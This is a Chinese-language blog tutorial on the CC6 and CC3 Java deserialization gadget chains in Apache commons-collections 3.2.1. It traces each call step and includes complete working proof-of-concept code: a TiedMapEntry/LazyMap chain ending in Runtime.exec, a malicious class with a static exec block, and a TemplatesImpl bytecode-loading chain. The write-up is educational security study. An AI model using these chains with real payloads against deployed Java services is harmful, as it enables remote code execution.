首页 > 编程语言 >Java反序列化(三)——CC6、CC3

Java反序列化(三)——CC6、CC3

时间:2024-08-15 13:24:37浏览次数:8  
标签:TemplatesImpl Java HashMap java TiedMapEntry CC6 import new 序列化

0 背景

白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)

实验环境

Java:1.8.0_65

IDEA:2022

commons-collecetions:3.2.1

1 CC6

        ysoserial中的CC6调用链如下:最下面的还是CC1中的LazyMap.get()。transform那里和CC1是代码一样的,只不过ysoserial这里表述不同而已。CC6最大的特点是不受JDK版本影响,像CC1在1.8.0_71后就修该了AnnotationInvocationHandler.readObject(),里面不在调用setValue()。

        ​

1.1 分析调用链——编写POC

        LazyMap.get()方法如下。

        这里每个key只能使用一次,因为进入if逻辑后,就会调用map.put(),下次就不能用了。

1.1.1 TiedMapEntry.getValue()调用了LazyMap.get()

        结合前述代码需要满足条件:TiedMapEntry.map = LazyMap实例  &&  TiedMapEntry.key not in LazyMap.map.keySet().

        要满足第二个条件,需要确保TiedMapEntry的key是第一次出现。在这里,会消耗TiedMapEntry.key加入到LazyMap.map中

1.1.2 TiedMapEntry.hashCode()调用了TiedMapEntry.getValue()

        这里直接调用getValue()了,所以结合前述代码需要满足条件:TideMapEntry.map = LazyMap实例  &&  TideMapEntry.key not in LazyMap.map.keySet().

        由于这两步都是TiedMapEntry被类调用,所以选择分析完hashCode后在把LazyMap装进TiedMapEntry。TideMapEntry可以直接new实例,并控制其内部的map和key。

        代码如下:

1.1.3 HashMap.hash()调用了TiedMapEntry.hashCode()

        需要满足条件:hash传入参数 key = TiedMapEntry

1.1.4 HashMap.put()调用了HashMap.hash()

        需要满足条件:put函数传入参数 key = TiedMapEntry

        put中key = TiedMapEntry就能满足hash中 key = TiedMapEntry。

        从这里看,其实不用将TiedMapEntry装入HashMap中,只需要在执行HashMap.put(key, null)的时候,key=TiedMapEntry就可以。

1.1.5 HashSet.readObject()调用了HashMap.put()

        从这里可以看到至少要满足:e=TiedMapEntry.

        至于条件:HashSet.map=HashMap 不满足也可以,因为HashSet.map的类型本来就HashMap的。在这里只要确保e就行。

        这里还有其他的代码逻辑可能导致走不到map.put,但由于已经到了readObject,我个人更喜欢直接开始正向调试readObject。

        如何把e=TiedMapEntry呢?先看HashSet的构造函数和变量。HashSet可以通过反射或者add方法来赋值。此外,这里的e,初步猜测可以用add(TiedMapEntry),因为add()里面就调用了put,和readObject中调用的形式比较相近。

public class HashSet<E>
    extends AbstractSet<E>
    implements Set<E>, Cloneable, java.io.Serializable
{
    static final long serialVersionUID = -5024744406713321676L;

    private transient HashMap<E,Object> map;

    private static final Object PRESENT = new Object();

    public HashSet() {
        map = new HashMap<>();
    }

    public HashSet(Collection<? extends E> c) {
        map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16));
        addAll(c);
    }


    public HashSet(int initialCapacity, float loadFactor) {
        map = new HashMap<>(initialCapacity, loadFactor);
    }

    public HashSet(int initialCapacity) {
        map = new HashMap<>(initialCapacity);
    }


    HashSet(int initialCapacity, float loadFactor, boolean dummy) {
        map = new LinkedHashMap<>(initialCapacity, loadFactor);
    }

    public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }

    1.2 正向调试    

        根据上述分析,写了以下的POC。需要注意的是,在序列化时,hashSet.add调用过程中,会调用put,进而走完后序链条,把key消耗掉,需要将加入key去除。

       成功走进逻辑。 

1.3 另外一条CC6链——HashMap.readObject()

        为什么HashMap.readObject也会触发调用链呢?这里和URLDNS很像,入口类那里和URLDNS这条链是一样。

        GadGet:
            java.util.HashMap.readObject()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

        看一下HashMap.readObject的代码,当把HashMap的key是tideMapEntry,那就能走完调用链条了。而刚好上面我写的POC中,HashMap的key就是tideMapEntry。所以这里会从不同的Source入口类提前触发hash()往后的调用链

        另一条链最终的POC如下:

package CCTest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC6 {

    public static void main(String[] args) throws Exception {

        Transformer[] tranformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
//
        ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);

        HashMap hashMap = new HashMap();
//        //        hashMap.put("value", "value");
        Map<Object, Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
//
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "lazymapValue");

        HashMap hashMap1 = new HashMap();
        hashMap1.put(tiedMapEntry, "tiedMapEntryValue");
        lazymap.remove("lazymapValue");

        Field factory = LazyMap.class.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, chainedTransformer);

        serialize(hashMap1);

        unserilize("cc6-2.bin");

    }


    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc6-2.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

2 CC3

       CC1和CC6是通过Transformer来反射调用Runtime来执行命令,CC3则是通过Transformer去执行类加载的调用链,进而加载恶意类执行静态代码来执行命令(不需要Runtime反射调用)。所以,CC3的前半条链和CC1/CC6是一样的,之后Transformer后的有所不同。

        java.lang.ClassLoader.defineClass()是类加载过程中真正将字节码转换为class源类的函数,该方法有多个重载,可直接定位到639行的defineClass。这个是protected的方法Transformer没办法执行该方法,因为 setAccessible 返回值是void,无法链式调用。

2.1 寻找类加载链

2.1.1 TemplatesImpl$TransletClassLoader.defineClass(b)方法方法调用了ClassLoader.defineClass(b)

        这里的方法是默认访问权限,继续网上找。而且需要满足这里的 byte[] b可控,这里就是传入类字节的变量。TemplatesImp继承了Serializable接口。

2.1.2 TemplatesImpl.defineTransletClasses()调用了TemplatesImpl$TransletClassLoader.defineClass(b)

        这里先需要满足条件:_bytecodes[i] = evilClassByteCode

        但这里代码只进行了类加载,并没有初始化,这样是没办法执行static中的代码。同时该方法时private的。需要进一步往下找,找会创建实例的,创建实例的过程会一同初始化。

        由于这里没有初始化,所以defineTransletClasses函数里的代码逻辑必须成功走完,不能报错,否则中断流程,就是加载了类,没办法执行代码。因此还需要满足其他条件,这里等调试的时候在分析吧。

2.1.3 TemplatesImpl.getTransletInstance()调用了emplatesImpl.defineTransletClasses()

        只需要满足条件:_class == null && _name != 0

        但还是private,继续找。

2.1.4 TemplatesImpl.newTransformer()调用了TemplatesImpl.getTransletInstance()

        是一个public方法,并且这里不需要满足什么条件。所以类加载的调用链找到了。

        综上目前需要满足条件:_bytecodes[i] = evilClassByteCode  && _class == 0 && _name != 0

2.1.5 调试

        可以先调用newTransformer看能不能成功加载,如果成功,再用Transformer执行也不迟。

        先创建一个恶意类:

import java.io.IOException;

public class CC3Calc {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException o){
            throw new RuntimeException(o);
        }
    }
}

        下面是TemplatesImpl中的变量,这里直接通过反射来编写,然后调试,从前面的分析,这里重点是在defineTransletClasses中的逻辑。

private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
private String _name = null;
private byte[][] _bytecodes = null;
private Class[] _class = null;
private int _transletIndex = -1;
private transient Map<String, Class<?>> _auxClasses = null;
private Properties _outputProperties;
private transient TransformerFactoryImpl _tfactory = null;

        代码如下:

        问题1:_tfactory空指针异常。但实际中在反序列中,这里并不会产生问题,这是一个transien变量。

        问题1解决:给_tfactory赋一个TransformerFactoryImpl类就行

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        问题2:_auxClasses空指针和_transletIndex=-1。

        问题2解决:其实从这里的代码逻辑上看,只要superClass.getName().equals(ABSTRACT_TRANSLET)成立,_transletIndex就会赋值为i(>0),这样就不会走_auxClasses的逻辑,下面<0的报错也不会走。superClass.getName().equals(ABSTRACT_TRANSLET)的意思就是让被加载类的父类等于ABSTRACT_TRANSLET常量.

2.2 完整POC

        先观察TemplatesImpl.readObject(),只需要设置_name和_bytecodes就行。

        代码:

package CCTest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void main(String[] args) throws Exception {

        byte[] evil = Files.readAllBytes(Paths.get("CC3Calc.class"));
        byte[][] codes = {evil};

        TemplatesImpl templates = new TemplatesImpl();
        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"a");

        Field bytecodes = c.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates, codes);

        Field tfactory = c.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();

        Transformer[] tranformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);

        HashMap hashMap = new HashMap();
        hashMap.put("value", "value");
        Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);

        Object o = aihConstructor.newInstance(Target.class, transformedMap);
        serialize(o);
        unserilize("cc3-1.bin");
    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc3-1.bin"));
        oos.writeObject(obj);
    }
    public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

        CC3后半段类加载链:

ChainedTransformer.transform():
  InvocationTransformer.transform()
    TemplatesImpl.newTransformer()
      TemplatesImpl.getTransletInstance()
        TemplatesImpl.defineTransletClasses()
          TemplatesImpl$TransletClassLoader.defineClass()
            ClassLoader.defineClass()

2.3 ysoseril中的CC3多了两步

ChainedTransformer.transform():
  InstantiateTransformer.transform()
  getConstructor(iParamTypes).newInstance(iArgs)
    TrAXFilter.TrAXFilter(template)
      TemplatesImpl.newTransformer()
        TemplatesImpl.getTransletInstance()
          TemplatesImpl.defineTransletClasses()
            TemplatesImpl$TransletClassLoader.defineClass()
              ClassLoader.defineClass()

        (1)TrAXFilter类的有参构函数中,会调用newTransformer()

        (2)InstantiateTransformer.transform(input)中,会反射通过Constructor创建input的实例。

        所以这里还要多满足两个条件:input=TrAXFilter && templates=TemplatesImpl && iParamTypes=TemplatesImpl.class && iArgs=TemplatesImpl实例。

        最终POC:在上面的POC上修改Tranformer[]就行。

标签:TemplatesImpl,Java,HashMap,java,TiedMapEntry,CC6,import,new,序列化
From: https://blog.csdn.net/Xzy03210321/article/details/141168443

相关文章

  • 基于Java Springboot甘肃旅游工艺品商城
    一、作品包含源码+数据库+设计文档万字+PPT+全套环境和工具资源+部署教程二、项目技术前端技术:Html、Css、Js、Vue、Element-ui数据库:MySQL后端技术:Java、SpringBoot、MyBatis三、运行环境开发工具:IDEA/eclipse数据库:MySQL5.7数据库管理工具:Navicat10以上版本环境......
  • 基于Java Springboot高考志愿填报辅助系统
    一、作品包含源码+数据库+全套环境和工具资源+部署教程二、项目技术前端技术:Html、Css、Js、Vue、Element-ui数据库:MySQL后端技术:Java、SpringBoot、MyBatis三、运行环境开发工具:IDEA/eclipse数据库:MySQL5.7数据库管理工具:Navicat10以上版本环境配置软件:JDK1.8+Ma......
  • 基于Java Springboot高校“智慧党建”管理系统
    一、作品包含源码+数据库+全套环境和工具资源+部署教程二、项目技术前端技术:Html、Css、Js、Vue、Element-ui数据库:MySQL后端技术:Java、SpringBoot、MyBatis三、运行环境开发工具:IDEA/eclipse数据库:MySQL5.7数据库管理工具:Navicat10以上版本环境配置软件:JDK1.8+Ma......
  • Java反序列化(四)——CC4、CC2
    0背景白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频(bilibili.com)实验环境Java:1.8.0_65IDEA:2022commons-collecetions:4.0        CommonsCollections4除4.0其他版本的 InvokerTransformer和InstantiateTransformer没有实现Serializable,导致该方......
  • 最全Java面试题,共20万字,涵盖多家一线互联网公司面试真题,新鲜出炉!
    大家好,我是小林。我已经累计发布了100+多篇互联网中大后端开发的面经,涵盖腾讯、字节、阿里、美团、京东、快手、百度、滴滴、米哈游等互联网公司,也涵盖部分中小厂、银行、国企的面经。所有的面经都来自于同学们真实面试题库,并且我针对每一篇面经都做了解析。 我想着,既然......
  • java毕业设计-基于微信小程序的宠物服务中心平台系统,基于移动端的宠物中心系统,基于jav
    文章目录前言演示视频项目背景项目架构和内容获取(文末获取)具体实现截图用户前台管理后台技术栈具体功能模块设计系统需求分析可行性分析系统测试为什么我?关于我我自己的网站项目相关文件前言博主介绍:✌️码农一枚,专注于大学生项目实战开发、讲解和毕业......
  • java 截取电脑屏幕转为图片
    importjavax.imageio.ImageIO;importjava.awt.*;importjava.awt.image.BufferedImage;importjava.io.File;importjava.io.IOException;publicstaticvoidmain(String[]args){//创建JMapViewer实例//JMapViewermapViewer=newJMapViewer();......
  • 恶补基础知识:Java 栈与队列详解
    @目录前言简介栈Java实现栈的示例代码:栈的主要应用场景包括:队列Java实现队列的示例代码:LinkedList中的add方法和offer方法的区别队列主要应用场景:总结前言请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i、提示:以下是本篇文章正文内容,下面案例可供参考简介使用Java实......
  • Java计算机毕业设计的体育用品交易平台(开题+源码+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着全球体育产业的蓬勃发展,体育爱好者对高品质、多样化的体育用品需求日益增长。然而,传统体育用品销售模式受限于地域、渠道及信息不对称等问题,难以......
  • Java计算机毕业设计的戏曲文化博物馆(开题+源码+论文)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景在中华文化的浩瀚星空中,戏曲艺术犹如一颗璀璨的明珠,承载着千年的历史记忆与民族情感。从元代的杂剧到明清的传奇,再到近现代的地方戏曲,戏曲文化不仅丰......